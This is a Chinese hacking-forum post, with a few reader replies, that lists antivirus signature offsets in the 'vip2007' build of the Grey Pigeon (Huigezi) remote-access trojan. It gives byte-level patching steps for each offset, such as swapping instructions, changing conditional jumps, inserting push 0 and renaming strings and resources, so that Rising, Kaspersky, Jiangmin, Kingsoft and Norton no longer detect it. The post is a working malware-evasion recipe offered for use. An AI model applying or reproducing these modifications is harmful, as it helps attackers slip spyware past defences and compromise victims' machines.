vip2007鸽子过瑞星、卡巴、江民、金山、诺顿特征码及修改方法

会上网的猪

楼主在吗??/你的瑞星主动怎么过的???

262370130

出个视频教程吧

沉沦

vip2007鸽子过瑞星、卡巴、江民、金山、诺顿特征码及修改方法
卡巴特征码 物理地址/物理长度 如下:
[特征] 0000A164_000****0002    内存地址0040AD64  将je改jb
[特征] 0000AA33_000****0002        0040B633  (选择空白处跳转）
                         或上下调换  
                     

瑞星表面特征码                        
特征码 物理地址/物理长度 如下:            
[特征] 0000ACEB_000****0002    内存地址：0040B8EB (由je改jng）
[特征] 0000B2BA_000****0002         0040BEBA （将0040BEB7的test内容改为push 0 ，0040BEB9 、0040BE8A内容互调）
[特征] 0000B3A6_000****0002----------------0040BFA6 将0040BFA4 0040BFAA 内容互调
[特征] 0000B6B2_000****0002----------------0040C2B2 找到je位置，改动上下互调。
[特征] 0000B744_000****0002        0040C344 将此处内容和0040C350调换 此处内容以下两项互调
[特征] 0006C167_000****0002-----------------00***70F67
将00***70F66 00***70F68内容互调，66前一项改push 0
[特征] 0006D284_000****0002---------------004****2084  将004****2082处改push 0 004****2084与004****2088 内容互调
[特征] 00***79BBE_000****0002        0047E9BE  将0047E9BD和0047E9C2内容互调
[特征] 000****1879_000****0002---------------004****6679   将75处改push 0 004****6677 00***67A内容互调
[特征] 000****3665_000****0002---------------004****8465   将62处改push 0 004****8464 00***46A内容互调，注意先汇编00***46A
[特征] 00***90F2_000****0002----------------0048DEF2  0048DEF2\\0048DEF7互调
[特征] 000****9116_000****0002-----------------0048DF16  方法1：往0区调转
                          方法2：将15处调至18，因为18处为0区，15处改为jmp ..18
[特征] 00***79BBD_000****0002   0047E9BD
0047E9B8 0047E9BD内容互调，0047E9BB 将JE改jnl
[特征] 0000B6B2_000****0002   内存地址0040C2B2


瑞星内存特征码
[特征] 0000ACA0_000****0002-----------------0040B8A0  
0040B89E 、0040B8A3 内容互调
瑞星主动防御特征码:
[特征] 000****8602_000****0002------------------0048D402
0048D400\\0048D403内容互调

金山表面特征码：
[特征] 0000E098_000****0002  --00***12E98  98 99内容互调
[特征] 0000E49C_000****0002-----00***29C
[特征] 00***22FE_000****0002-----00***70FE  上下调换
[特征] 000****6571_000****0002-----0043B371   上下调换
[特征] 00***32FE_000****0002-----00***80FE   上下调换
[特征] 00***43F_000****0002-----0046B23F   上下调换
[特征] 0007C4BF_000****0002-----00***12BF   上下调换


江民特征码：
[特征] 0000ABEB_000****0001----0040B7EB  用c32大小写转换
[特征] 0000B5D7_000****0002----0040C1D7  上下调换
[特征] 0000BB32_000****0002----0040D332


诺顿特征码：
[特征] 0008E87A_000****0002----- --00***67A  将下一项内容的hex由60改61
[特征] 0008F0BC_000****0002--------00***93EBC  上下两处jnb改jnl
[特征] 0008F0C5_000****0001--------00***93EC5  上下两处内容互编辑



过主动地补充特征码
修改   灰鸽子
修改   管理软件服务端安装成功！
修改   \\program Files\\Internet Explorer\\IEXPLORE.EXE 个别字符大小写修改  
     没有发现共享信息
     剪切板内容为空或非文本信息
     系统不能使
     MAINDLL     AFNKFSD  三项全改
     PACKAGEINFO   HDFHSHDETFG 共一项
     TABOUT      DHSHDF    两项
     用restoator 删除dvclal